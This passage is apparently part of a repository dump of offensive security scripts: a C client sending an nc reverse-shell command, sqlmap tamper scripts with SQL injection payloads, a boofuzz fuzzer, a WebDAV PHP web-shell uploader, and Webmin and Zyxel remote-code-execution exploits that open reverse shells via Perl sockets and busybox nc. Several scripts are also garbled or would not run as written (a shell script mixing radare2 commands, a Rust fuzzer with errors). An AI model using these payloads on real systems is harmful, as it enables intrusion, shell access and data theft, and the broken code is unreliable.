34 |   if (connect(sockfd, (struct sockaddr * ) & serv_addr, sizeof(serv_addr)) < 0) { // Connect to server using socket file descriptor and serv addr structure    
35 |     perror("ERROR connecting"); // Print error message to stderr    
36 |     exit(1); // Exit program with error code 1   
37 |   }
38 |   bzero(buffer, 256); // Clear buffer array     
39 |   strcpy(buffer, "ssh -i /root/.ssh/idrsa root@127.0.0.1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.24 1234 >/tmp/f'"); // Copy malicious command into buffer array     
40 |   n = write(sockfd, buffer, strlen(buffer)); // Write malicious command to server using socket file descriptor     
41 |   if (n < 0) { // Check for errors in writing malicious command to server      
42 |     perror("ERROR writing to socket"); // Print error message to stderr      exit(1);// Exit program with error code 1     
43 |   }
44 |   close(sockfd); // Close connection with server    
45 |   return 0;
46 | }
47 | 


--------------------------------------------------------------------------------
/strcpy_r2.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | 
 3 | import r2pipe
 4 | 
 5 | # Path to target binary
 6 | target_binary="/usr/bin/curl"
 7 | # Open r2pipe
 8 | r2 = r2pipe.open(target_binary)
 9 | # Analyze binary
10 | r2.cmd("aaa")
11 | # Get address of strcpy 
12 | strcpy_addr = r2.cmd("?v sym.imp.strcpy")
13 | # Print address
14 | print(strcpy_addr)
15 | # Close r2pipe
16 | r2.quit()
17 | 


--------------------------------------------------------------------------------
/syscall.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | 
 3 | # Load target binary into Radare2
 4 | r2 /usr/sbin/lighttpd
 5 | # Analyse binary
 6 | aaa
 7 | # Navigate to the main function
 8 | s main
 9 | # Get the address of the main function
10 | main_address=$(pdf | grep -E '\bmain\b' | awk '{print $1}')
11 | # Generate a script to trigger Syscalls
12 | echo "#!/bin/bash" > syscalls.sh
13 | echo "echo 'Triggering Syscalls...'" >> syscalls.sh
14 | echo "r2 -q0 -c 'db 0x50;pdf @ $main_address'" target_binary >> syscalls.sh
15 | chmod +x syscalls.sh
16 | # Generate a script to trigger Execve
17 | echo "#!/bin/bash" > execve.sh
18 | echo "echo 'Triggering Execve...'" >> execve.sh
19 | echo "echo '/bin/cat /etc/passwd' | r2 -q0 -c 'wa mov rax,0x3b;push rsi;mov rsi,[rsp];xor rdx,rdx;syscall'" target_binary >> execve.sh
20 | chmod +x execve.sh
21 | 


--------------------------------------------------------------------------------
/tamper_aws.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | 
 3 | import re
 4 | 
 5 | from lib.core.enums import PRIORITY
 6 | 
 7 | __priority__ = PRIORITY.NORMAL
 8 | 
 9 | def tamper(payload, **kwargs):
10 |     """
11 |     Replaces space character (' ') with comments '/**/' (MySQL)
12 |     """
13 |     payload = re.sub(r"\s+", "/**/", payload)
14 |     return payload
15 | 


--------------------------------------------------------------------------------
/tamper_payloads.txt:
--------------------------------------------------------------------------------
1 | 1. /**/union/**/select/**/1,2,3,4,5,6,7,8,9/**/from/**/information_schema.tables/**/
2 | 2. /**/or/**/1/**/in/**/(select/**/1/**/from/**/(select/**/count(*),concat((select/**/(select/**/(SELECT/**/distinct/**/concat(0x7e,0x27,unhex(Hex(cast(database()/**/as/**/char))),0x27,0x7e)/**/from/**/information_schema.tables/**/limit/**/0,1))/**/from/**/information_schema.tables/**/limit/**/0,1)/**/group/**/by/**/concat(0x7e,0x27,unhex(Hex(cast(database()/**/as/**/char))),0x27,0x7e))x)
3 | 3. /**/or/**/1/**/in/**/(select/**/1/**/from/**/(select/**/count(*),concat((select/**/(select/**/(SELECT/**/distinct/**/concat(0x7e,0x27,unhex(Hex(cast(version()/**/as/**/char))),0x27,0x7e)/**/from/**/information_schema.tables/**/limit/**/0,1))/**/from/**/information_schema.tables/**/limit/**/0,1)/**/group/**/by/**/concat(0x7e,0x27,unhex(Hex(cast(version()/**/as/**/char))),0x27,0x7e))x)
4 | 4. /**/union/**/select/**/1,2,3,4,5,6,7,8,9/**/from/**/information_schema.columns/**/
5 | 5. /**/or/**/1/**/in/**/(select/**/1/**/from/**/(select/**/count(*),concat((select/**/(select/**/(SELECT/**/distinct/**/concat(0x7e,0x27,unhex(Hex(cast(table_name/**/as/**/char))),0x27,0x7e)/**/from/**/information_schema.columns/**/limit/**/0,1))/**/from/**/information_schema.tables/**/limit/**/0,1)/**/group/**/by/**/concat(0x7e,0x27,unhex(Hex(cast(table_name/**/as/**/char))),0x27,0x7e))x)
6 | 


--------------------------------------------------------------------------------
/tamper_unix.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | 
 3 | import re
 4 | import unicodedata
 5 | import base64
 6 | from lib.core.enums import DBMS
 7 | from lib.core.enums import PRIORITY
 8 | __priority__ = PRIORITY.NORMAL
 9 | 
10 | def tamper(payload):
11 |     payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
12 |     match = re.search(r'\[BASE64\].*\[/BASE64\]', payload)
13 |     if match:
14 |         encoded_string = match.group(0)
15 |         decoded_string = encoded_string.replace('[BASE64]', '').replace('[/BASE64]', '')
16 |         encoded_string = '[BASE64]' + base64.b64encode(decoded_string.encode('utf-8')).decode('utf-8') + '[/BASE64]'
17 |         payload = payload.replace(match.group(0), encoded_string)
18 |     return payload.decode("ascii")
19 | 


--------------------------------------------------------------------------------
/trun_fuzzer.py:
--------------------------------------------------------------------------------
 1 | # Python3
 2 | from boofuzz import *
 3 | import time
 4 | 
 5 | # Function for grabbing the banner each time it connects
 6 | def get_banner(target, my_logger, session, *args, **kwargs):
 7 |   # Set the function banner_template as the string we expect to see on connection
 8 |   banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
 9 |   try:
10 |     # Recieve buffer from the target
11 |     banner = target.recv(10000)
12 |   except:
13 |     # If nothing recieved from the target, print and exit
14 |     print("Unable to connect. Target is down. Exiting.")
15 |     exit(1)
16 | 
17 |   # Printing to our log to let us know its recieving something
18 |   my_logger.log_check('Receiving banner..')
19 |   # Check that what we recieved contains the string we expected
20 |   if banner_template in banner:
21 |     my_logger.log_pass('banner received')
22 |   else:
23 |     # If it doesn't contain the string we expected, fail and exit
24 |     my_logger.log_fail('No banner received')
25 |     print("No banner received, exiting..")
26 |     exit(1)
27 | 
28 | # Main function
29 | def main():
30 | 
31 |   # This is a boofuzz standard piece of code and is on their docs as a template
32 |   session = Session(
33 | 	sleep_time=1,
34 |     target=Target(
35 |       # This sets the connection host and port for vulnserver
36 |       connection=SocketConnection("127.0.0.1", 443, proto='tcp')
37 |     ),
38 |   )
39 | 
40 |   # Setup request
41 |   s_initialize(name="Request")
42 |   with s_block("Host-Line"):
43 |     # Send TRUN command to vulnserver
44 |     s_static("TRUN", name='command name')
45 |     # Add a space after TRUN
46 |     s_delim(" ")
47 |     # After TRUN and the space, add the fuzzing payloads
48 |     s_string("FUZZ",  name='trun variable content')
49 |     # Add a new line after the fuzzing payload (so that it sends)
50 |     s_delim("\r\n")
51 | 
52 |   # Fuzzing
53 |   session.connect(s_get("Request"), callback=get_banner)
54 |   session.fuzz()
55 | 
56 | # Calls main
57 | if __name__ == "__main__":
58 | 	main()
59 | 
60 | 


--------------------------------------------------------------------------------
/webdav_exec.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | 
 3 | use strict;
 4 | use warnings;
 5 | 
 6 | use LWP::UserAgent;
 7 | 
 8 | my $ua = LWP::UserAgent->new;
 9 | my $url = 'http://target.server.com/webdav/';
10 | my $body = '<?php system($_GET[\'cmd\']); ?>';
11 | my $headers = HTTP::Headers->new(
12 |     'Content-Type' => 'text/plain',
13 |     'Content-Length' => length($body)
14 | );
15 | my $req = HTTP::Request->new('PUT', $url, $headers, $body);
16 | my $res = $ua->request($req);
17 | 
18 | if ($res->is_success) {
19 |     print "Command executed successfully\n";
20 | }
21 | else {
22 |     print "Error: " . $res->status_line . "\n";
23 | }
24 | 
25 | 


--------------------------------------------------------------------------------
/webfuzzer.rs:
--------------------------------------------------------------------------------
 1 | extern crate regex;
 2 | extern crate reqwest;
 3 | use regex::Regex;
 4 | use std::{io, fs};
 5 | 
 6 | const FRONT_OF_LINK: &str = "https://";
 7 | const MATCHING_STRING: &str = "This domain name has been registered";
 8 | static FUZZING_WORD_LIST_REGEX: &Regex = &Regex::new(r"^\w+$").unwrap();
 9 | fn print_iterator(iterator: &str) {
10 |     println!("{}", iterator);
11 | }
12 | fn go_through_link(file_name: String) -> String {
13 |     let mut file_name_string = String::new();
14 |     let file = fs::File::open(file_name).unwrap();
15 |     let reader = io::BufReader::new(file);
16 |     for line in reader.lines() {
17 |         let line_string = line.unwrap();
18 |         file_name_string = line_string;
19 |     }
20 |     let domain_name = file_name_string.split(",").collect::<Vec<&str>>()[0];
21 |     if domain_name.contains(FRONT_OF_LINK) {
22 |         let trimmed_domain_name = domain_name.trim_start_matches(FRONT_OF_LINK);
23 |         let mut fuzzing_word_list_file = fs::File::open("fuzzing_word_list.txt").unwrap();
24 |         let fuzzing_word_list_reader = io::BufReader::new(fuzzing_word_list_file);
25 |         for line in fuzzing_word_list_reader.lines() {
26 |             let mut word_to_fuzz = line.unwrap();
27 |             let unfuzzed_link = FRONT_OF_LINK.to_string() + trimmed_domain_name + "/" + word_to_fuzz;
28 |             let response = reqwest::get(&unfuzzed_link).unwrap();
29 |             let body = response.text().unwrap();
30 |             if body.contains(MATCHING_STRING) {
31 |                 print_iterator(&unfuzzed_link);
32 |             }
33 |         }
34 |     } else {
35 |         println!("Error: Link does not contain {}", FRONT_OF_LINK);
36 |     }
37 |     domain_name.to_string()
38 | }
39 | fn main() {
40 |     println!("Please enter the domain name file");
41 |     let mut file_name = String::new();
42 |     io::stdin().read_line(&mut file_name).unwrap();
43 |     if file_name.is_empty() {
44 |         println!("Please enter a valid file name");
45 |     }
46 |     go_through_link(file_name);
47 | }
48 | 


--------------------------------------------------------------------------------
/webmin_rce.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | 
 3 | use LWP::UserAgent;
 4 | 
 5 | my $target = "https://erp.acunetix.com:10000/session_login.cgi";
 6 | my $lhost = "127.0.0.1";
 7 | my $lport = "4455";
 8 | my $ua = LWP::UserAgent->new;
 9 | $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
10 | my $exploit = $target . "?user=root&pass=`perl -e 'use Socket;$i=\"$lhost\";$p=$lport;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'`";
11 | my $resp = $ua->get($exploit);
12 | print $resp->content;
13 | 


--------------------------------------------------------------------------------
/zyxel_rce.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/python
 2 | 
 3 | import requests
 4 | import sys
 5 | 
 6 | target = sys.argv[1]
 7 | 
 8 | payload = {
 9 |     'getpage':'../../../../../../../../../../../../../../../proc/self/environ%00',
10 |     'var:language':'../../../../../../../../../../../../../../../bin/busybox%20nc%20-e%20/bin/sh%20127.0.0.1%204444'
11 | }
12 | 
13 | r = requests.post('http://' + target + '/cgi-bin/webproc', data=payload)
14 | 
15 | if r.status_code == 200:
16 |     print("[+] Exploit Successful!")
17 | else:
18 |     print("[-] Exploit Failed!")


--------------------------------------------------------------------------------